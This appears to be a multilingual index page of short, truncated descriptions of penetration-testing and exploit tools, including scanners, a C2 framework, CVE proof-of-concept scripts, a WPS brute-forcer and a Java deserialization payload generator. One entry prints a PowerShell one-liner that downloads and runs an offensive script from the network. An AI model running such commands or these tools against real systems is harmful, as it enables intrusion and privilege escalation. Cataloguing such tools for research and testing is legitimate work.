dorkbot

dorkbot Scan Google or other search results for vulnerabilities. dorkbot is a modular command-line tool for performing vulnerability scans against sets of webpages returned by Google search queries or other supported sources. It is broken up into two sets of modules: Indexers - modules that retur...

dorkbot

dorkbot Google（または他の）検索結果に対する脆弱性スキャンを行います。 dorkbotは、Google検索クエリやその他のサポートされているソースによって返されたWebページのセットに対して脆弱性スキャンを実行するためのモジュール式コマンドラインツールです。2つのモジュールセットで構成されています： インデクサー - ターゲットのリストを返すモジュール スキャナー - 各ターゲットに対して脆弱性スキャンを実行するモジュール...

CVE-2017-5638

CVE-2017-5638 目次 1. 概要 2. 依存関係 3. 使用方法 概要 このプロジェクトは、Apache Strutsの脆弱性の概念実証です。 目的は、上記の脆弱性に対してランダムなIPアドレスを生成しテストするソフトウェアを作成することでした。 このプロジェクトは自己責任かつ教育目的でのみ使用してください。 依存関係 cURL cURLは、特定のIPアドレスとポートに細工されたヘッダーを送信するために使用されます。 Nmap Nmapは、ポート80または443が開いているランダムなIPアドレスを生成するために使用されます。 使用方法...

Pentest-Tools-Collection

ペンテストツールコレクション Active Directory AMSI https://amsi.fail/ ツールコレクション WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack https://github.com/GhostPack...

dirstalk

Dirstalk Dirstalk is a multi threaded application designed to brute force paths on web servers. The tool contains functionalities similar to the ones offered by dirbuster and dirb. Here you can see it in action: Contents How to use it Scan Useful resources Dictionary generator Download Developmen...

dirstalk

Dirstalk Dirstalk は、Web サーバー上のパスをブルートフォースするために設計されたマルチスレッドアプリケーションです。 このツールには、dirbuster や dirb が提供するものと同様の機能が含まれています。 実際の動作はこちらでご覧いただけます: 目次 使い方 スキャン 便利なリソース 辞書生成 ダウンロード 開発 ライセンス ↑ 使い方 このアプリケーションは自己文書化されており、dirstalk -h と実行すると、すべての利用可能なコマンドと簡単な説明が表示されます。各コマンドのヘルプは dirstalk -h で取得できます。 例: dirstalk...

Nuages

Nuages Nuagesはモジュラー式C2フレームワークです。 ドキュメントやチュートリアルについてはWikiを参照してください。ヘルプ、バグ報告、機能リクエストは遠慮なくIssueを開いてください。 はじめに...

blackbox-fuzzing

ルーター TL-WR902AC を例とした IoT デバイスのブラックボックスファジング これは、私のタームペーパーのHTML版であり、PDFとしてダウンロードできます ここ。 はじめに ファジングは、ソフトウェアのバグを見つける「最も効果的な方法の1つ」となっています。このような主張や 類似した主張で、現在のファジング関連の論文の多くが始まります google-scholar。 「Internet of Vulnerable Things」というトピックに関する前回のタームペーパーの主な目標は、メモリ関連のバグを見つけて、...

ret-sync

ret-sync ret-sync 代表逆向工程工具同步（Reverse-Engineering Tools SYNChronization）。它是一组插件，用于将调试会话（WinDbg/GDB/LLDB/OllyDbg/OllyDbg2/x64dbg）与反汇编器（IDA/Ghidra/Binary Ninja）同步。其核心理念很简单：从静态分析和动态分析两个世界中各取所长。 调试器和动态分析为我们提供： 局部视图，具有实时动态上下文（寄存器、内存等） 内置的特殊功能/API（例如：WinDbg 的 !peb、!drvobj、!address 等） 反汇编器和静态分析为我们提供：...

linux-soft-exploit-suggester

linux-soft-exploit-suggester Script to find exploits for all vulnerable software on the system, targeting software packages rather than just kernel vulnerabilities. It uses the exploit database to assess the security of packages and search for exploits to help with privilege escalation. Usage...

linux-soft-exploit-suggester

linux-soft-exploit-suggester システム上のすべての脆弱なソフトウェアに対するエクスプロイトを見つけるスクリプトです。カーネルの脆弱性だけでなく、ソフトウェアパッケージに焦点を当てています。エクスプロイトデータベースを使用してパッケージのセキュリティを評価し、権限昇格に役立つエクスプロイトを検索します。 使用方法 ダウンロード root@kitploit: wget...

reaver-wps-fork-t6x

概要 Reaver は、Wifi Protected Setup WPS レジストラのPIN に対するブルートフォース攻撃 を実装し、WPA/WPA2パスフレーズ を回復します。これは、Stefan Viehböck によるBrute forcing Wi-Fi Protected Setup When poor design meets poor implementation.で説明されています。 Reaver は、WPA/WPA2パスフレーズ を回復 するために、Wi-Fi Protected Setup WPS...

reaver-wps-fork-t6x

Overview Reaver implements a brute force attack against Wifi Protected Setup WPS registrar PINs in order to recover WPA/WPA2 passphrases , as described in Brute forcing Wi-Fi Protected Setup When poor design meets poor implementation. by Stefan Viehböck. Reaver has been designed to be a robust an...

PrivFu

PrivFu 内核模式 WinDbg 扩展及用于测试令牌权限如何工作的 PoC 示例。 有一些著名的关于令牌权限滥用的仓库和文章，例如 Grzegorz Tworek 的 Priv2Admin。 本仓库中的代码旨在帮助研究令牌权限的工作机制。 目录 PrivFu ArtsOfGetSystem KernelWritePoCs PrivEditor getps 命令 getpriv 命令 addpriv 命令 rmpriv 命令 enablepriv 命令 disablepriv 命令 enableall 命令 disableall 命令 PrivilegedOperations...

thc-tips-tricks-hacks-cheat-sheet

THCのお気に入りのヒント、トリック＆ハック（チートシート） https://thc.org/tips 私たちのお気に入りのトリック集です。これらのトリックの多くは私たちが作ったものではありません。私たちは単に収集しているだけです。 トリックは、なぜ機能するのかの説明なしに「そのまま」示します。仕組みと理由を理解するにはLinuxの知識が必要です。 トリックをお持ちですか？ 参加してください https://thc.org/ops 1. Bash 1. ハックシェルをセットアップする 2. コマンドを隠す 3. コマンドラインオプションを隠す 4. ネットワーク接続を隠す 5...

CVE-2020-5902

CVE-2020-5902 F5 BIG-IP Traffic Management User Interface TMUI リモートコード実行 BIG-IP バージョン 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, 11.6.1-11.6.5.1 において、Traffic Management User Interface TMUI 別名 Configuration utility の未公開ページにリモートコード実行 RCE の脆弱性が存在します。...

RCity-CVE-2024-27198

RCity - CVE-2024-27198 RCE & 管理者アカウント作成 & CVE-2024-27199 認証バイパス CVE-2024-27198 および CVE-2024-27199 の悪用 RCity は、脆弱な TeamCity サーバーと対話する Python スクリプトです。この CVE は、ドメイン上の 403 をバイパスして、権限のない管理者アカウントの作成を可能にします。同時に、Debug/Processes ルートを介して RCE も達成します。 使用方法 スクリプトを使用するには、コマンドライン引数 -t または --target で対象の TeamCity...

ysoserial

ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. Description Originally released as part of AppSecCali 2015 Talk "Marshalling Pickles: how deserializing objects will ruin your day" with gadget chains for Apache Commons Collections 3.x and...

nate158g-m-w-n-l-p-d-a-o-e

nate158g-m-w-n-l-p-d-a-o-e This module requires Metasploit: Current source: MetasploitModule 'Wordpress Popular Posts Authenticated RCE', 'Description' = %q This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not...

SetupHijack

SetupHijack 概要 SetupHijack は、Windows のインストーラーおよび更新プロセスの競合状態と安全でないファイル処理を悪用するセキュリティ研究ツールです。特権を持つインストーラーやアップデーターが %TEMP% などの誰でも書き込み可能な場所にファイルを配置し、攻撃者がそれらのファイルを昇格した特権で実行される前に置き換えることができるシナリオを対象としています。 実行に昇格された権限を必要としません。 ファイルシステムの通知を使用しません（代わりに変更をポーリングします）。 Authenticode コード署名とインストーラーの信頼モデルの弱点を悪用します。...